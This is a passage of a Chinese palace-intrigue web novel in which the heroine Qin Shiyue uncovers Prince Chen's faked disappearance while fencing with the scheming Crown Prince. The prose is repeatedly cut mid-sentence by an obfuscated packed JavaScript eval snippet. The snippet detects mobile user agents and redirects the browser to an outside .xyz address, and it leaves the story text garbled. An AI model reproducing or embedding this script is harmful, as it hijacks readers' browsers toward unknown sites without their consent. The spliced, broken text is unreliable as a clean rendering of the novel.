梁斌心里虽然有点怀疑,但除了等,他们目前也没其他办法可行,只能答应,“是,属下听大小姐的。” 秦时月微微颔首,随后从包袱里翻出纸笔,在桌上铺开后写写画画起来,不久,江南的几条主街道和难民**地,清楚的展现在梁斌面前。 最主要的是,难民**地被画的很是详细,周围还做了标记。 “这是…” 秦时月指着图纸上的一处说道,“这是难民地的入口,据我打听到的消息,官府的人每日都会在这里施粥发药,王爷他们若想隐藏行踪,一定不会选择这附近。” 梁斌点头如捣蒜——这里太引人瞩目。 “这里是难民地的后山,虽说山上植被繁茂,但常有野兽出没,王爷他们应该也不会选择这里。”秦时月收回视线,皱着眉头看向梁斌,“所以,我觉得,他们很可能藏身在这里。” 她指着难民地东侧,那里,她画着几棵简易大树。 “这里有一片密林,既能隐藏行踪,又不用担心野兽出没……” 梁斌闻言眼睛一亮,“事不宜迟,我这就让人去密林找找看。” 秦时月说完,似乎觉得有什么地方不对,又忍不住将视线移到了后山的位置上。 她若是王爷,应该会首选这里,可她若是县令呢? 她能想到的,难道周县令就想不到吗? 想到这,她苦笑着开口,“等等。这件事还要从长计议,你先下去吧。” 若真如她想的这样,那什么都不做,等在这里,似乎确实是最好的办法。 梁斌心里着急,但也不敢违逆她的意思,还是退出去帮她关上了门。 县衙后院,周县令在书房里快速写好一封信,然后交到了心腹手上,“八百里加急,务必在五日内送到京城!” “是。”身着便衣的男人双手接过信,转身离开了。 周县令抬眸看着男人离去的方向,心里闪过一丝担忧。 为了寻找辰王,他命人一路设卡,盘查,没想到,竟然等来了他们几个。 就是不知太子那边可知道这些人的行动方向,需不需要他配合将他们控制起来… 片刻后,周县令像是下定了某种决心,起身往自己夫人的院子走去。 非常时期,若京城来人真要是做出什么,或可先让夫人出面将人缠住。 秦时月一行人在客栈里等了三日,三日来,他们并不是傻等在客栈,而是兵分两路,一路等,一路日日去难民地打探最新的消息。 可是,他们始终没等到宋墨辰的消息,折让秦时月心里有些沉不住气了。 她叫来梁斌,道,“梁大,再等下去不是办法,你拿上这个,去见周县令。” 梁斌愣了一下,接过拜帖,抬头问道,“大小姐不是说,周县令是太子的人,最好不要惊动他吗?” 秦时月冷笑一声,“咱们来了三、四日,你当咱们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566112|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行踪真能瞒那个老狐狸这么久?” 周县令迟迟没有露面,空是他的主子还没发话。 不过,再等下去,等他拿到太子的指令,他们接下来的行动恐怕会越来越难。 为今之计,就是主动暴露身份。 有皇后懿旨、未来的辰王妃、明月县主、这三层身份在,周县令即便拿到什么不利于他们的指令,也不能做对他们不利的事,相反,还要好好保护他们,一旦他们出事,周县令乌沙不保。 梁斌似懂非懂,但还是听话的将拜帖交给下人,让下人去一趟县衙,而且最好一路张扬,让百姓们知道,京城来人了! 下人领命而去,约莫一个时辰,客栈便被层层衙役包围了。 秦时月在听到梁斌的传达后,眼里闪过一丝不易察觉的冷笑。 这场戏,是时候开场了! 秦时月换上了一袭华贵的宫装,小青为她上妆,一切做完,她才昂首挺胸的带着梁斌和几个下人下楼。 才到一楼,就看到周县带着几个官员候在那。 看到她下来,周县令连忙带头上前行礼,其他官员也紧随其后。 “臣等见过明月县主,不知县主大驾光临,有失远迎,还望县主赎罪。” 此言一出,百姓们跪了一地,店主更是心惊不已,跪在地上不断哆嗦,不断回忆这些时日可有哪里照顾的不周到的地方。 秦时月勾勾唇,淡淡的看了周县令一眼,道,“各位不必多礼,本县主此次前来,也是受皇后娘娘所托。” 周县令心里咯噔一下,暗道,这位大小姐看起来柔柔弱弱,随时像是会被风吹倒一般,可她身着宫装见他们,明显来者不善啊。 但他面上却不露声色,恭敬的问道,“下官定当全力配合!” “臣等和周县令一样,定当全力配合!” “大家快起来说话。”秦时月给梁斌投去一个眼神。 梁斌立刻明白过来,“县主此行是为了寻找王爷的踪迹,不知王爷失踪一事,周大人有什么可说的?” 第69章 恩威并施?就是拿捏 秦时月在小青的搀扶下悠然坐下,将百姓们的交头接耳全部屏蔽。 “这,县主,这里不是说话的地方,不如移驾,臣等为您办了接风宴,咱们坐着详谈?” 周县令抬眸,精明的眼睛不断打量着秦时月。 她虽然身份尊贵,但看上去也就十六七,想来是个好拿捏的… “不必了,我在这住习惯了,周大人有什么消息就请说出来吧,我只想早日找到王爷,回京复命。” 开玩笑,现在跟他回去,岂不是羊入虎口? 周县令神色微变,随即恢复了平静,“回县主,王爷失踪的消息一传回来,下官第一时间就派人四处寻找,只是说来惭愧,至今尚未有确切的消息…但下官相信,王爷吉人自有天相,定会平安归来!” 其他官员立刻附和,“是…” 秦时月表面轻笑,眼神清明,“哦?王爷失踪算起来,也有半月了吧?周大人至今没有找到一丝消息,算不算,办事不力?” 她的声音轻飘飘的,可落在周县令的耳朵里,却让他莫名心慌。 他赶紧解释,“县主有所不知,王爷在江南期间深受百姓爱戴,曾多次救百姓于水火之中,此次失踪,下官和百姓们心急如焚,只是,只是…” “我不听解释!”秦时月突然沉了语气,“三日内,三日内若是本宫再听不到王爷的消息,本宫便手书一封快马送回京,到时候,几位大人的前程,不知道还能不能保得住!” 几人听罢,浑身一僵,连忙起起彼伏开口,“县主放心,臣等这就去加派人手寻找王爷,定不负皇后娘娘,全力配合县主!” 秦时月这才满意地点点头,“如此甚好。这位是本宫的贴身侍卫梁大,是皇后娘娘赐给本宫的,接下来,就让他和各位大人一行寻找王爷吧,至于本宫,就在此处静候各位大人的佳音了!” 周县令等人连忙应承下来,除了周大人,所有人的心里都叫苦不迭。 他们没想到,这位看起来柔柔弱弱的县主竟然如此难缠,不仅不给他们丝毫喘息的机会,还直接将皇后娘娘搬出来压人,接下来,他们不得不全力以赴了… 周县令明面上恭敬称是,心里却在打鼓。 找人是不可能尽心的,但面子工作他得做足,就是不知他那封信到哪了,太子殿下那边…可有什么指示。 秦时月看着周县令,暗暗冷笑一下。 这只老狐狸表面上恭恭敬敬,背地里却不一定安着什么心思。 不过她也不怕,毕竟她的身份摆在这。如今全县的百姓们都得到了“明月县主到此”的消息,这些人,谅他们也不敢轻举妄动! 接下来几天,秦时月就住在客栈里,每日里除了等梁斌带消息回来,还会让下人们去难民地打探。 这天,客栈来了两个不速之客——当朝太子宋砚辞,太后的义女,赵景阳。 秦时月听到小青的通报后,只觉得事情越发有趣了。 “小姐,太子殿下指名要见您,这可如何是好呀?” 秦时月轻轻摩挲着茶杯边沿,嘴角带着意味深长的笑容,“见,为何不见?我倒要看看,他葫芦里卖的是什么药。” 赵景阳过来,她尚且可以理解为她是为了宋墨辰的安危,可太子殿下此行…就有些耐人寻味了。 “小青,给我上妆吧。”秦时月对着铜镜看了两眼,忍不住在心里嘟囔,一会儿得多上一层粉,这肤色,看起来可不像是底子亏损严重呀。 不多时,秦时月在小青的陪同下,来到了客栈的大堂。 此时,身穿便装的太子和赵景阳坐在一众侍卫中间,正谈笑风生。 可他那双阴毒的眸子却时刻留意着楼梯的方向,直到一抹淡粉色裙角出现,他的嘴角才多了一丝笑意。 秦时月缓缓下楼,看到太子后直接走了过去,走到近处才微微欠身行礼,“臣女见过太子殿下,见过郡主。” 宋砚辞故作惊诧,忙起身虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566113|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶一下,“秦大小姐不必多礼,本宫此次是微服私访,并未惊动任何人,就只是为了寻找五皇弟,听说你在,这才想着过来见你一面。” 秦时月淡然一笑,面容更显憔悴。心底却冷哼一声,并未惊动任何人?那他身边这些身着黄马褂的侍卫又是什么? 不过,她心里有数,面上激动不已,“太子殿下能来真是太好了,有殿下在,臣女相信王爷一定能早日找到。” 宋砚辞看了秦时月一眼,嘴角带笑,“时月不必同本宫这般客气,你不日就要入辰王府,倒时咱们就是一家人,你以后便跟着五皇弟喊我一声皇兄吧。” 说话间,他余光一撇,果然看到赵景阳漆黑的脸色,他脸上的笑意更浓了。 当今天下谁人不知景阳郡主一心扑在辰王身上,此次带上她,果然能多不少趣味。 “一日不行大礼,就有生变的可能。”赵景阳冷哼一声,故意道,“时月姐姐不会觉得我说话不好听吧?” 这次她跟过来,就是为了能亲自找到宋墨辰,这样一来,她就可以以“救命之恩”挟恩图报,让辰王哥哥娶她了! 秦时月笑而不语。 她是重生一次的人,算起来,她的心理年龄可不仅仅只有十六,她又怎么会和一个小女娘一般见识呢? “好了好了,大家都是认识的,快别站着了,坐下说。”宋砚辞眸光深沉,脸上笑意不减,“时月,我看你脸色不大好,是不是在这里住的不如意?” “多谢殿下关心,臣女这身子时好时坏,已经习惯了,倒是殿下此行可安排了住处?我与周县令曾有一面之缘,用不用臣女帮殿下递张帖子?” 演戏吗?谁不会? 被困于后院那些年,东方苑教她最多的,便是如何情绪不露,如何在这**的后宅里生存,如何在男人堆里周旋! 她笑容温婉,眼神清澈,看向宋砚辞的大眼睛里带着崇敬。 宋砚辞心头一跳,眸光暗了暗。 第70章 宋墨辰现身? 这些年京城只有长乐侯府嫡女秦可云的传闻,他却是不知,这位嫡出大小姐,才是真的沉鱼落雁。 这种女子便是头脑不灵光,摆在家里当个花瓶摆着,赏心悦目,也是不错的… 宋砚辞心里想着,面上却不显。 赵景阳冷哼一声,“太子哥哥的面子难不成还不如你大?需要你多管闲事?” “景阳!”宋砚辞警告的看她一眼,然后才笑道,“本宫不拘住在哪,住处就不劳烦时月费心了。” 秦时月捂嘴轻咳两声,然后点点头,“既是如此,那臣女就不多事了。” 被他盯着,她总觉得浑身不舒服,怎么说呢?那种感觉就像是被毒蛇缠上,让人浑身黏腻的厉害。 “本宫看你面色不好,此次五皇弟失踪,你一定是心力交瘁,正好与本宫一起同行的有宫内的太医,不如让他给你请个脉,开副方子,本宫也好安心些。” 试探? 秦时月微微垂眸,眼中闪过一丝冷笑,收敛起情绪,再抬头时,已是一片感激,“那就多谢殿下了。” 看着她如此乖顺,宋砚辞的眼里多了一丝满意,“王太医何在?” 声音刚落,一个背着药箱的老者从另一个桌子上站了起来。 秦时月挑眉。 她倒是没注意到,这大厅里,竟全都是宋砚辞的人。 王太医走过来,恭敬地行了礼,然后在秦时月伸出手后盖上了一方丝绢。 搭上脉,王太医的眉头慢慢皱起,神情也渐渐凝重起来,他抬眸看看秦时月,有些惋惜的摇了摇头、 “县主因旧伤,心脉受损,底子原本就比旁人弱,这段时间想来是因为辰王的事又添郁结,体内浊气淤积,需得将郁气散开,好生调养。” 秦时月似是被说中心事,眼眶顿时一红,“有劳王太医。” 王太医点点头收回手,立刻打开药箱,取除笔墨纸砚,“微臣这就为县主开个方子,虽说不能根治,但疏解郁气,固本培元,总归是有些帮助的。” 秦时月道声谢,然后超宋砚辞微微颔首,“让殿下担忧了,臣女这身子,总是这般不争气。” 宋砚辞眼底的怀疑消散了几分,然后客套道,“无妨,咱们今后就是一家人,你无需这般客气。” 药方开好,秦时月刚要让小青接过,谁料宋砚辞突然叫来了身边的侍卫,“去为县主抓药。” 侍卫领命离开,但秦时月却注意到,宋砚辞在下命令时,眼神分明不似平时。 难不成,是想在药上动手脚?她在心里暗暗揣测。 “王爷,属下打听到,太子已经见到了秦大小姐,他为人狠辣,会不会对秦大小姐下手,逼您出面啊?”侍书一脸焦急。 他们躲起来差不多有半月了,这半月来,他们按照宋墨辰的命令办了许多事,所有事都是暗中行动的,就连皇后娘娘、明月县主都被瞒在谷中。 原本侍书是不担心的,可刚刚有人来报,太子带景阳郡主到了,而且一进城,便直奔秦时月下榻的客栈,肯定是有所筹谋。 宋墨辰紧紧攥着拳头,冷静克制的脸上头一次产生别样表情,“他不敢!时月聪明,将身份一早表明,就算他贵为太子,也不可能胡作非为。按照原计划,将消息散布出去。” “是!”侍书眼前一亮,立刻转身退了出去。 宋墨辰抬眸看着窗外熙熙攘攘的街道,眼底浮现出一丝冷意。 这次失踪,确实是他一手策划的,为的,就是查清楚宋砚辞的暗中布局。 若不是出发前秦时月的提醒,他也不会对这位与所有人为善的皇兄产生怀疑,更不会在出发前,连夜布局,只为江南“失踪”。 而这次失踪,他不止查到了宋砚辞暗中针对自己的谋划,还调查到了一些关于秦时月托付的,高僧的消息。 只是因为年代久远,他虽然掌握了一些消息,但想要找到那位高僧,还要费些功夫…… 不多时,侍书回来了,说是一切准备妥当,五皇子,可以现身了。 宋墨辰收起心思起身,最后看了眼窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566114|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的街道。 皇兄,你既然迫不及待的想要置我于死地,那就让我看看,你到底有多大的本事! 宋砚辞陪着秦时月在大厅说话,侍卫回来的时候,正有说有笑,一副没有架子的模样。 可侍卫回来的时候,却带来了一个惊掉所有人下巴的事情,有人在昌乐县找到了失踪许久的宋墨辰。 众人都愣在了原地,只有秦时月,面上震惊,实则不动声色的挑了挑眉。 宋砚辞刚出现,就有了宋墨辰的消息,也不知,他等的就是太子,还是他谋划的事情已了,不再需要隐藏行踪了… 宋砚辞神色微沉,随即立刻换上一副激动难以自抑的样子,“当真?快!立刻启程去接回五皇弟!” 昌乐县?紧邻江南! 该死!他怎么不死在外头? 距离这么近,周县令半月都没有半点消息,他是怎么做事的! 赵景阳则是一脸兴奋,眼眶都红了,尤其听到宋砚辞的命令后,最先站起来,“对对对,快,快去找辰王哥哥!这些日子他一定吃了不少苦!” 秦时月也站起身,擦擦眼角,期期艾艾的看着宋砚辞,“臣女愿与太子一同前往。” 说着,还佯装呛咳几声,那苍白的小脸看上去竟有几分楚楚动人。 宋砚辞看着秦时月,眼里怀疑渐消,笑着点了一下头,“也好,时不待人,咱们即刻启程。” 一行人在宋砚辞的带领下,迅速离开客栈,朝着昌乐县的方向疾驰而去。 路上,秦时月斜靠在马车的软垫上,心里却在猜测着宋砚辞此行的目的。 他绝对不是为了寻找宋墨辰来的,至于是为了什么,她有点看不明白。 但东方苑告诉过她,人,都是无利不起早的,宋砚辞此行,定然有自己想得到的东西就是了。 昌乐县,一处破败不堪的宅院内。 宋墨辰身着浑身补丁的粗布衣裳,“虚弱”的躺在土炕上,双眼紧闭,旁边,还放着一个已经空掉的,缺了角的药碗。 第71章 找到宋墨辰 侍书同样一副凄惨装扮,眼底却透着精光,“王爷,咱们的人来报,太子和秦大小姐已经启程,快马往这边来了。” 床上的人哼了一声,屋内再次陷入沉寂。 太子急于看到宋墨辰,一路上不断催促,一行人很快到达昌乐县。 秦时月坐在马车里,透过窗帘的缝隙看着外面越来越繁荣的景色,心里不由的感叹。 明明相距这么近,如今的江南和这里却是天差地别。 “小姐,您怎么了?是不是不舒服?”小青担心的问道。 这一路小姐都吃不好住不好的,今天又急着赶路,也难怪小姐的脸色这样难看了。 秦时月收回视线,轻轻摇头,“没事。” “小姐,我这里带了几颗蜜饯,您吃一颗吧。”小青说着,从兜里掏出了一个油纸包,油纸包里是她前两日买的蜜饯。 秦时月没有拒绝,这一路因为赶路,车架颠簸不已,她确实有些想吐。 吃颗蜜饯压压那不舒服的感觉也是好的。 一行人进城后,多番打听下,才终于找到了宋墨辰暂时藏身的院子。 看着破败不堪的院墙、大门,宋砚辞的表情有些耐人寻味。 他翻身下马,侍卫立刻上前推门。 “谁?”一道警惕的声音响起,下一秒,侍书满脸震惊的看着眼前人,噗通一声跪地,“参见太子殿下…” “快起来,本宫的皇弟呢?”宋砚辞不动声色的将侍书的着装、神情收入眼底,见他过的不好,他就放心了。 “王爷,王爷受了重伤,至今昏迷不醒,奴才该死!”侍书跪伏在地,让人看不到他的神情。 但他的声音听上去充满了恐惧,像是担心宋砚辞会降罪一般。 这更加愉悦了宋砚辞,但他却不得不收起心思,故作体恤,“想必你已经尽力了,快起来带本宫去见皇弟。” 侍书领命起身,带着宋砚辞和刚刚下车的秦时月、赵景阳进屋。 屋内昏暗,到处都灰扑扑的,而宋墨辰就躺在那,脸上的表情痛苦不堪。 “五皇弟!”宋砚辞眼睛微眯,打量一眼,然后立刻叫来王太医,“快,快给辰王诊治!辰王若是出事,本宫要你们的命!” 看上去,宋墨辰的情况确实挺严重的,但他不敢赌。 王太医不敢耽搁,放下药箱开始为他诊脉,诊过脉还端起了旁边的空药碗闻了闻,最终点点头,一副了然于胸的样子。 “皇弟的情况怎么样了?”宋砚辞急不可耐。 “回殿下,辰王殿下的身体倒没什么,就是有些虚弱,想来是这些日子营养不足所致,只需好好调养,不日就可痊愈。只是……” “只是什么?”宋砚辞原本还觉得可惜,听到‘只是’两个字,眼里又燃起了希望。 “只是微臣刚才闻到辰王身上有血腥气,这药也是治疗外伤的汤药,若微臣所料不假,辰王怕是有伤在身。”王太医面色凝重,说着,看向了一旁的侍书。 宋砚辞见状,也扭头看去,急于求证。 “太子殿下英明!王爷他,他确实受了重伤!”侍书噗通一声跪地,缓缓将“所有实情”说了出来。 宋墨辰救人不成,被洪水卷走,侍书担心宋墨辰,跟着一起跳入洪流,主仆两人在水里泡了一天一夜,醒过来才发现,他们不知被冲到了哪。 侍书醒来,发现宋墨辰腹部受伤,情急之下为他简单包扎,然后想办法将他背到了最近的农户里,在农户的照料下,宋墨辰的伤口总算没有感染,但也没有好到哪。 昨日宋墨辰高烧,侍书明白不能再坐以待毙,这才借了农户的推车,将宋墨辰推到城里,只是他们身上没有银两,这副药还是变卖了宋墨辰随身的玉佩才换来的。 听到这些,宋砚辞的眼里闪过一抹狠厉,但很快又恢复如初,“人没事就好,东西都是身外物,回头去赎回来就是了。王太医,你快快为辰王治疗,不论代价!” 宋墨辰,你的命还真是大,这样都没死掉! 王太医连忙开方,命人拿药。 秦时月看着脸色苍白,昏迷不醒的人,心里也有些急切。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566115|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不动声色的走近,故意做出一副悲伤欲绝的样子,直接扑到了宋墨辰身边。 “王爷,王爷您醒醒啊,您若是出事,我当如何啊?” 她哭的伤心,泪水掉了线的珍珠般,沿着脸颊不断滑下。 可在宽大袖口的遮掩下,她柔弱无骨的小手,已经悄悄扣在了宋墨辰的手腕。 身体虚弱是真,外伤?呵,不然! 王太医口中的血腥味,恐怕就只是血腥味。 确定他没有事,秦时月悬着的心才放下,然后在小青的搀扶下重新站好。 “请太子殿下恕罪,臣女是因为太过担心王爷,一时失了分寸……” 她盈盈一拜,身若扶柳,让人动容。 太子心中一动,眼底似有什么快速划过,但被他隐藏的很好,“时月方向,本宫都懂,你身子不好,还是坐……” “矫情!” 赵景阳冷哼一声,故意走过去挤开秦时月,也学着秦时月的样子想扑上去。 谁知她还没凑近,就被侍书拦住了,“郡主,王爷受着伤,可经不起您这一扑啊!” 被拦下,被拆穿心思,赵景阳当即难堪不已,脸色阴沉的快要滴出水。 “本郡主只是想看看辰王哥哥,又不是要做什么?再说了,秦时月做得,我怎么做不得?” 侍书在心里冷哼一声,面上却紧张不安,“秦大小姐乃是陛下、娘娘亲定的未来辰王妃,奴才不敢拦啊。” 什么东西,也配拿王妃说事! 一句话,打的赵景阳脸疼不已。 几人都没注意到,宋砚辞在听到侍书的话后,眼神明显阴沉了不少。 “侍书……” 就在这时,床上的人突然出声,虽然声音虚弱,但却让人精神一震。 “王爷!”侍书一脸激动。 秦时月挑挑眉,忍不住想笑。 若不是她医术了得,还真要被这对主仆的演技给骗过去。 不过戏台子都搭好了,她这个辰王妃,也不能让他们主仆唱独角戏。 第72章 演戏演全套 眼珠子转了转,秦时月一脸担忧的凑了上去,“王爷,王爷您醒醒,您看看臣女啊王爷。” 宋墨辰听到朝思暮想的声音里带着鼻音,心里一揪,恨不得当场坐起来告诉她自己没事。 可宋砚辞在,他只能继续装晕,但眼睫毛却不受控制的颤了颤。 秦时月看在眼里,心里更加确定,宋墨辰绝对是装的。 但她面上不显,依旧是一副担忧不已的模样,甚至还挤出了几滴眼泪。 “王爷,您可不能有事啊,您若是有个万一,陛下和娘娘不定要难过成什么样了。” 她捏着丝绢擦去眼角并不存在的泪水,那泫然欲泣、美人垂泪的模样,看的宋砚辞心痒难耐。 宋墨辰听着,心里是又高兴又心疼,眉头都忍不住皱了起来。 而一旁的赵景阳看到秦时月这副做做的模样,眼里都快喷出火来了,“够了!太医都说辰王哥哥没什么大碍了,你哭成这样,是在咒他吗?” 她嫉妒的发狂,恨不得趴在床边的是她,可侍书就站在一旁盯着她,让她除了干着急,什么都做不了。 “时月,你身子不好,快莫要哭了。”宋砚辞开口,眼底情绪翻涌,却让人看不出他的真实想法,“这里条件简陋,并不适合养伤。来人,抬辰王上车。” 听到宋砚辞的话,宋墨辰差点没坐起来。 什么叫:“时月”?? 他什么时候和时月关系这么好了?便是他自己,与时月相处时为了她的名声着想,也一直以秦大小姐相称。 一想到这些,宋墨辰就气的几乎失去理智。 侍书眼尖的看到宋墨辰胸膛起伏过速,忙开口吸引宋砚辞的主意。 “殿下,王爷腹部有伤,还是奴才来吧。” 他的意思是担心他的人手脚重,伤到宋墨辰? 宋砚辞危险的眯着眼,状似平静的道,“有王太医在,你怕什么?来人,将辰王抬上马车!” 他确实有心试探,但秦时月和赵景阳都在,他还真不好做什么,只能表现一下他身为太子的度量和兄友弟恭。 就在这时,宋墨辰睁开了眼。 “侍书…这是哪里?” 他嗓音艰涩,听起来有股磨耳朵的砂砾感,像是许久没有喝水润过。 这是装不下去了? 秦时月心里好笑。 侍书迅速上前,激动的回道,“王爷,咱们在昌乐县,太子殿下到了,咱们有救了!” 说着,还像模像样的抹了两把眼泪。 宋砚辞也凑过去,眼睛死死盯着宋墨辰的反应,“五皇弟,你受苦了,本宫此次是奉了父皇的旨意,亲自来接你回去的,你且安心休息,一切有皇兄。” 秦时月眼神微变,这才明白宋砚辞的来意。 不过,陛下的旨意是真,但他此行的目的怕不止这一桩。 “我刚刚好像听到时月的声音了…侍书,时月也来了吗?” 宋墨辰“艰难”转头,在看到那个一袭粉色衣裙,让他魂牵梦绕的女子时,他的心,蓦的一揪。 女子脸色苍白,眼眶微红,眼里带着几分担忧,整个人显得那样的柔弱无助… 他身上明明没有外伤,可看到这样的她,他竟觉得心脏像是被利器贯穿般难受。 宋砚辞眼神阴冷,但脸上却带着一副关切的神色,“五皇弟,你身体不适,还是少说些话的好。还不快将辰王抬上马车!” 时月时月,听宋墨辰说出这两个字,他莫名有种烦躁的感觉。 侍书将宋砚辞气急败坏的样子看进眼里,突然不怕死的开口,“殿下,王爷的身体怕是不适合长途劳顿,若要赶路,还请殿下恩准奴才随行照料。” “你是五皇弟的贴身侍卫,自然是责无旁贷……” 宋砚辞话还没说完,就见秦时月盈盈一拜,“殿下,臣女幸得帝后赐婚,照顾王爷该是臣女应尽的本分,还望殿下成全。” 这一刻,宋砚辞脸上的表情彻底绷不住了。 他阴恻恻的看着秦时月,不知用了多少制止力才将心思藏起来。 若说一开始他对秦时月只是饶有兴致,那这一刻,秦时月算是燃起了他心底的占有欲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566116|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他,要她! “太子哥哥,景阳也要…” “景阳,不可失了规矩。”宋砚辞脸上带笑,看向赵景阳的眼神里却带着威胁。 赵景阳哆嗦一下,低下头不敢再开口。 “时月说的对,辰王身子不适,身边确实需要人照顾,那就辛苦时月了,若是有需要,随时跟本宫说。” 说完,宋砚辞转身,率先离去。 不急,他是东宫太子,他想要的东西,便是天上的星辰,也合该是他的! 秦时月找宋砚辞的侍卫借了马车,跟小青交代两句,小青领命离开。 侍卫将这一切汇报给宋砚辞的时候,他并无意外,毕竟客栈里还有秦时月带来的人,他们如今要离开,总要有人交代个行踪。 况且,秦时月身边的侍女不在身侧,正好方便他行事。 宋墨辰被抬上马车,秦时月随着钻进车里,侍书骑马随行,车队一行缓缓驶离昌乐县。 不得不说,宋砚辞还是有可取之处的,至少他为了维持人设让出来的这架马车,就极适合养伤。 宋墨辰被安置在软垫上,心里忐忑不已。 他能感受到秦时月就坐在马车另一侧,甚至能闻到少女身上似有若无的体香。 这都让他无法平静。 秦时月斜靠在软垫上,似笑非笑的看着宋墨辰,“辰王还不打算与我说实话吗?” 宋墨辰眉心一跳,呼吸加重了几分。 “辰王上次入长乐侯府时就该知道,时月是通晓医术的。” 这句话相当于告诉他,她已然识破了他的伪装。 果然,宋墨辰怔愣一下,嘴角溢出一丝苦笑,“时月聪慧,竟瞒不过你。” 有侍书在外守着,宋墨辰倒不怕有人发现,他睁开眼坐起来,眸光深邃。 秦时月小脸一红,一时间有些不敢回视。 他,他怎的和宋砚辞一样,竟直呼她的闺名? 见她没有指摘,宋墨辰心中欢喜,面上却正经了几分,“此次失踪实乃不得已,还望时月莫要生我的气。” 第73章 全盘托出 秦时月不仅没气,脸上的笑意都没减半分。 “我知道你有自己的打算,只是你做这些打算,也该跟皇后娘娘说一声,你不知道,皇后娘娘因为你的事忧心忧虑的…” 皇宫的事,她没多嘴,毕竟在皇宫内苑长大的宋墨辰,要比她更清楚皇宫的风云诡谲。 宋墨辰沉默片刻,然后道,“我也是担心母后知道后会扰乱我的计划,不过,以后不会了,有事我会提前与你和母后打招呼。” 秦时月怔愣一下,小脸又红了红。 她在说娘娘,他怎么说到她了。 “王爷,我能问问你此次谋划失踪事件,是为何吗?” 她心里隐隐有个猜测,但具体原因,她却是不敢确定。 “还记得离京前你提醒我提防太子吗?”宋墨辰眸光深邃,并不打算向她隐瞒什么,“我在离京前布置了些事。” “到江南后,按照一开始的计划积极赈灾,但心里时刻惦记着你说的这些。就在这时,京城来信,说是太子的确在暗中谋划着什么,但他们不能确定是什么,只是提醒我小心。” “思虑在三,我只能带着侍书佯装救人失踪,一来打乱太子的计划,二来,利用失踪一事,行自己的计划。” “自己的计划?”秦时月疑惑。 她知道太子有针对宋墨辰的计划,但是没想到,宋墨辰如此迅速,竟然在她提醒后的短短半天内就做出了如此周密的安排。 宋墨辰点点头,眸色深沉,“是。到达江南之后我才发现,这里的情况远比我想象的要复杂。” 他顿了顿,似乎在斟酌用词,“而且我的人发现,太子在京中的动作越来越大,我若再不行动,只能处于被动。我出事倒没什么,我只是担心你和母后…” 宋墨辰身为皇子,原本就在这风暴中心。 即便他无心太子之争,但他的一举一动都备受瞩目,稍有不慎,就可能万劫不复。 而他一旦出事,至亲之人便要跟着遭难。 他谋划失踪,既可暂时避开太子的锋芒,又能暗中调查行事,不仅一举两得,还能避免他们沦为鱼肉。 秦时月皱皱眉,她知宋墨辰有勇有谋,心思深沉,却没想到他的格局竟如此大,目光如此长远。 “那王爷的计划是?”她忍不住问道。 宋墨辰看了她一眼,正要开口,窗外突然传来侍书的声音。 “殿下…” “你这么紧张做什么?本宫只是想看看五皇弟的情况,让开!”宋砚辞冷着脸,语调里透着浓浓的不悦。 侍书眸光微闪,想着里边的人应该听到了他的提醒,这才恭敬让开。 宋砚辞冷哼一声叫停马车,然后一跃而上。 一掀开帘子就看到秦时月迷茫的美颜,“殿下?可是出什么事了?” “没,没有,本宫来看看你们。”宋砚辞脸上带笑,恨不得跟秦时月同乘一辆马车的是他,“辰王怎么样了?” “一直没醒过…” 秦时月声音落寞,小脸上带着让人心疼的愁绪。 